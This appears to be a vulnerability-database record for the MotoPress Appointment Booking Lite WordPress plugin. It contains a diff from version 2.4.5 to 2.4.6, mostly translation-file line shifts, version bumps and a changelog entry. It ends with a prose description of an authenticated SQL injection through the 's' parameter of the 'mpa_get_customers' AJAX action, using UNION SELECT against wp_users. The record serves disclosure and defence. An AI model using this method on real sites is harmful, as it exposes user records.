assets\u002Fjs\u002Fpublic.js:6006\n msgid \"Deposit\"\n msgstr \"Завдаток\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6010\n-#: assets\u002Fjs\u002Felementor-widgets.js:6010\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6449\n-#: assets\u002Fjs\u002Fpublic.js:6010\n+#: assets\u002Fjs\u002Fdivi-modules.js:6011\n+#: assets\u002Fjs\u002Felementor-widgets.js:6011\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6450\n+#: assets\u002Fjs\u002Fpublic.js:6011\n msgid \"Paying now\"\n msgstr \"Оплатити зараз\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6548\n-#: assets\u002Fjs\u002Felementor-widgets.js:6548\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6987\n-#: assets\u002Fjs\u002Fpublic.js:6548\n+#: assets\u002Fjs\u002Fdivi-modules.js:6549\n+#: assets\u002Fjs\u002Felementor-widgets.js:6549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6988\n+#: assets\u002Fjs\u002Fpublic.js:6549\n msgid \"Coupon code is empty.\"\n msgstr \"Пустий код купону.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6557\n-#: assets\u002Fjs\u002Felementor-widgets.js:6557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6996\n-#: assets\u002Fjs\u002Fpublic.js:6557\n+#: assets\u002Fjs\u002Fdivi-modules.js:6558\n+#: assets\u002Fjs\u002Felementor-widgets.js:6558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6997\n+#: assets\u002Fjs\u002Fpublic.js:6558\n msgid \"Coupon code applied successfully.\"\n msgstr \"Купон було успішно застосовано.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6559\n-#: assets\u002Fjs\u002Felementor-widgets.js:6559\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6998\n-#: assets\u002Fjs\u002Fpublic.js:6559\n+#: assets\u002Fjs\u002Fdivi-modules.js:6560\n+#: assets\u002Fjs\u002Felementor-widgets.js:6560\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6999\n+#: assets\u002Fjs\u002Fpublic.js:6560\n msgid \"Sorry, your booking is not eligible for this coupon.\"\n msgstr \"На жаль, ваше бронювання не підходить для цього купона.\"\n \n #. Translators: %s: Business name.\n-#: assets\u002Fjs\u002Fdivi-modules.js:7563\n-#: assets\u002Fjs\u002Felementor-widgets.js:7563\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8002\n-#: assets\u002Fjs\u002Fpublic.js:7563\n+#: assets\u002Fjs\u002Fdivi-modules.js:7564\n+#: assets\u002Fjs\u002Felementor-widgets.js:7564\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8003\n+#: assets\u002Fjs\u002Fpublic.js:7564\n #, js-format\n msgid \"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\"\n msgstr \"Надаючи ваш IBAN та підтверджуючи цей платіж, ви авторизуєте (A) %s та Stripe, нашого провайдера онлайн-платежів, надіслати розпорядження вашому банку списати з вашого рахунку і (B) ваш банк спише з вашого рахунку у відповідності до цього розпорядження. Ви маєте право на повернення коштів від вашого банку відповідно до правил та умов угоди з вашим банком. Запит на повернення має бути зроблено протягом 8 тижнів від дати списання з вашого рахунку.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7584\n-#: assets\u002Fjs\u002Felementor-widgets.js:7584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8023\n-#: assets\u002Fjs\u002Fpublic.js:7584\n+#: assets\u002Fjs\u002Fdivi-modules.js:7585\n+#: assets\u002Fjs\u002Felementor-widgets.js:7585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8024\n+#: assets\u002Fjs\u002Fpublic.js:7585\n msgid \"Credit or debit card\"\n msgstr \"Кредитна або дебетова картка\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7588\n-#: assets\u002Fjs\u002Felementor-widgets.js:7588\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8027\n-#: assets\u002Fjs\u002Fpublic.js:7588\n+#: assets\u002Fjs\u002Fdivi-modules.js:7589\n+#: assets\u002Fjs\u002Felementor-widgets.js:7589\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8028\n+#: assets\u002Fjs\u002Fpublic.js:7589\n msgid \"or\"\n msgstr \"або\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7603\n-#: assets\u002Fjs\u002Felementor-widgets.js:7603\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8042\n-#: assets\u002Fjs\u002Fpublic.js:7603\n+#: assets\u002Fjs\u002Fdivi-modules.js:7604\n+#: assets\u002Fjs\u002Felementor-widgets.js:7604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8043\n+#: assets\u002Fjs\u002Fpublic.js:7604\n msgid \"Select iDEAL Bank\"\n msgstr \"Обрати iDEAL Bank\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7618\n-#: assets\u002Fjs\u002Felementor-widgets.js:7618\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8057\n-#: assets\u002Fjs\u002Fpublic.js:7618\n+#: assets\u002Fjs\u002Fdivi-modules.js:7619\n+#: assets\u002Fjs\u002Felementor-widgets.js:7619\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8058\n+#: assets\u002Fjs\u002Fpublic.js:7619\n msgid \"IBAN\"\n msgstr \"IBAN\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7882\n-#: assets\u002Fjs\u002Felementor-widgets.js:7882\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8321\n-#: assets\u002Fjs\u002Fpublic.js:7882\n+#: assets\u002Fjs\u002Fdivi-modules.js:7883\n+#: assets\u002Fjs\u002Felementor-widgets.js:7883\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8322\n+#: assets\u002Fjs\u002Fpublic.js:7883\n msgid \"Payment methods\"\n msgstr \"Способи оплати\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8094\n-#: assets\u002Fjs\u002Felementor-widgets.js:8094\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8533\n-#: assets\u002Fjs\u002Fpublic.js:8094\n+#: assets\u002Fjs\u002Fdivi-modules.js:8095\n+#: assets\u002Fjs\u002Felementor-widgets.js:8095\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8534\n+#: assets\u002Fjs\u002Fpublic.js:8095\n msgid \"Card\"\n msgstr \"Картка\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10130\n-#: assets\u002Fjs\u002Fedit-post.js:7677\n-#: assets\u002Fjs\u002Felementor-widgets.js:10130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:10569\n-#: assets\u002Fjs\u002Fpublic.js:10130\n+#: assets\u002Fjs\u002Fdivi-modules.js:10131\n+#: assets\u002Fjs\u002Fedit-post.js:7678\n+#: assets\u002Fjs\u002Felementor-widgets.js:10131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:10570\n+#: assets\u002Fjs\u002Fpublic.js:10131\n msgid \"Sorry, but we were unable to allocate time slots for the date you selected.\"\n msgstr \"Вибачте, але ми не змогли виділити час на вибрану вами дату.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10777\n-#: assets\u002Fjs\u002Felementor-widgets.js:10777\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11216\n-#: assets\u002Fjs\u002Fpublic.js:10777\n+#: assets\u002Fjs\u002Fdivi-modules.js:10778\n+#: assets\u002Fjs\u002Felementor-widgets.js:10778\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11217\n+#: assets\u002Fjs\u002Fpublic.js:10778\n msgid \"Sorry, there are no services, employees or locations to book.\"\n msgstr \"На жаль, немає послуг, працівників чи місцезнаходжень для бронювання.\"\n \n #. Translators: %s: Checkbox label.\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3220\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n #, js-format\n msgid \"To enable this option, you need to check the '%s' box.\"\n msgstr \"Щоб увімкнути цю опцію, вам потрібно встановити прапорець \\\"%s\\\".\"\n \n-#: assets\u002Fjs\u002Fedit-post.js:9006\n+#: assets\u002Fjs\u002Fedit-post.js:9007\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3238\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2977\n msgid \"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\"\n@@ -6426,19 +6416,19 @@\n msgid \"Colors\"\n msgstr \"Кольори\"\n \n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11400\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11710\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11981\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12284\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12638\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12761\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13007\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13253\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13499\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13622\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11401\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11711\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11982\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12285\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12639\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12762\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13008\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13254\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13377\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13623\n msgid \"appointment\"\n msgstr \"бронювання\"\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fmotopress-appointment.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fmotopress-appointment.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fmotopress-appointment.php\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fmotopress-appointment.php\t2026-06-30 15:16:08.000000000 +0000\n@@ -3,7 +3,7 @@\n  * Plugin Name: Appointment Booking Lite\n  * Plugin URI: https:\u002F\u002Fmotopress.com\u002Fproducts\u002Fappointment-booking\u002F\n  * Description: MotoPress Appointment Booking makes it easy for time and service-based businesses to accept bookings and appointments online.\n- * Version: 2.4.5\n+ * Version: 2.4.6\n  * Requires at least: 5.3\n  * Requires PHP: 7.4\n  * Author: MotoPress\n@@ -19,7 +19,7 @@\n \n if ( ! defined( 'MotoPress\\Appointment\\VERSION' ) ) {\n \n-\tdefine( 'MotoPress\\Appointment\\VERSION', '2.4.5' );\n+\tdefine( 'MotoPress\\Appointment\\VERSION', '2.4.6' );\n \tdefine( 'MotoPress\\Appointment\\PLUGIN_FILE', __FILE__ );\n \n \trequire 'includes\u002Fdefines.php';\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Freadme.txt\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Freadme.txt\t2026-06-30 15:16:08.000000000 +0000\n@@ -5,7 +5,7 @@\n Requires at least: 5.3\n Tested up to: 6.9\n Requires PHP: 7.4\n-Stable tag: 2.4.5\n+Stable tag: 2.4.6\n License: GPLv2 or later\n License URI: http:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n \n@@ -315,6 +315,9 @@\n \n == Changelog ==\n \n+= 2.4.6, Jul 1 2026 =\n+* Fixed booking edit page nonce script error and improved security of admin booking search queries.\n+\n = 2.4.5, Jun 23 2026 =\n * Security: Enhanced permission validation when reading bookings.\n \n","Exploitation requires authentication with the 'mpa_appointment_employee' role. The attacker identifies the AJAX nonce from the 'mpa_admin_data' object on an administrative page and then sends a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php'. The request uses a vulnerable action (e.g., 'mpa_get_customers') and passes a SQL injection payload via the 's' parameter. A UNION SELECT payload can then be used to retrieve sensitive records from the 'wp_users' table, which are returned in the AJAX response.","gemini-3-flash-preview","2026-07-25 12:34:46","2026-07-25 12:35:30",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.4.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmotopress-appointment-lite\u002Ftags\u002F2.4.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmotopress-appointment-lite.2.4.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmotopress-appointment-lite\u002Ftags\u002F2.4.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmotopress-appointment-lite.2.4.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmotopress-appointment-lite\u002Ftags"]